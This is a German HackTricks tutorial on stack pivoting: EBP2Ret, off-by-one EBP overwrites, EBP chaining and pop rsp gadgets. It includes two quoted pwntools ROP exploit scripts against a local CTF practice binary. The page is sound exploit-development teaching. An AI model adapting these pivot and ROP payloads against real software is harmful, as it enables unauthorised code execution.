hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

202 lines
9.9 KiB
Markdown

# Stack Pivoting - EBP2Ret - EBP chaining
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Grundlegende Informationen
Diese Technik nutzt die Möglichkeit, den **Base-Pointer (EBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der Befehlssequenz `leave; ret` zu verketten.
Zur Erinnerung bedeutet **`leave`** im Grunde genommen:
```
movl %ebp, %esp
popl %ebp
ret
```
Und da sich der **EBP im Stack** vor dem EIP befindet, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.
### EBP2Ret
Diese Technik ist besonders nützlich, wenn Sie **den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen aus, wenn sie ihre Ausführung beenden.
Wenn es Ihnen während der Ausführung von `fvuln` gelingt, einen **gefälschten EBP** im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde.**\
Beachten Sie, wie Sie **2 Adressen kennen müssen**: Die, wohin der ESP gehen wird, und wohin Sie die Adresse schreiben müssen, auf die der ESP zeigt.
#### Exploit-Konstruktion
Zuerst müssen Sie eine **Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können**. Der ESP wird hierhin zeigen und **den ersten `ret` ausführen**.
Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
* Eine gültige [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)-Adresse.
* Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
* Die Adresse eines **`jump esp;`**-Gadgets ([**ret2esp**](ret2esp-ret2reg.md)) gefolgt vom **Shellcode** zur Ausführung.
* Einige [**ROP**](rop-return-oriented-programing.md)-Kette
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich **`4` Bytes** stehen müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen **zweiten gefälschten EBP** zu setzen und die Ausführung weiter zu kontrollieren.
#### Off-By-One-Exploit
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One-Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem **`ret`** speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.
### **EBP-Chaining**
Daher ist es möglich, indem man eine kontrollierte Adresse im `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` im `EIP` platziert, den **`ESP` zur kontrollierten `EBP`-Adresse im Stack zu verschieben**.
Nun wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, können Sie an dieser kontrollierten ESP-Stelle Folgendes platzieren:
* **`&(nächster gefälschter EBP)`** -> Lädt den neuen EBP aufgrund von `pop ebp` aus der `leave`-Anweisung
* **`system()`** -> Aufgerufen von `ret`
* **`&(leave;ret)`** -> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut
* **`&("/bin/sh")`**-> Parameter für `system`
Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.
Ehrlich gesagt, dies ähnelt einem [ret2lib](ret2lib/), ist jedoch komplexer und ohne offensichtlichen Nutzen, könnte aber in einigen Randfällen interessant sein.
Darüber hinaus finden Sie hier eine [**Beispielherausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP ist nutzlos
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird **ESP nie von EBP kontrolliert**, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat.\
Dies liegt daran, dass sich das **Prolog und Epilog ändern**, wenn das Binärprogramm optimiert ist.
* **Nicht optimiert:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Optimiert:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Andere Möglichkeiten, um RSP zu kontrollieren
### **`pop rsp`** Gadget
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel für die Verwendung dieser Technik. Für diese Herausforderung war es erforderlich, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** sowie ein **Leak vom Stack**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<rag>, rsp Gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
```
## Referenzen
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>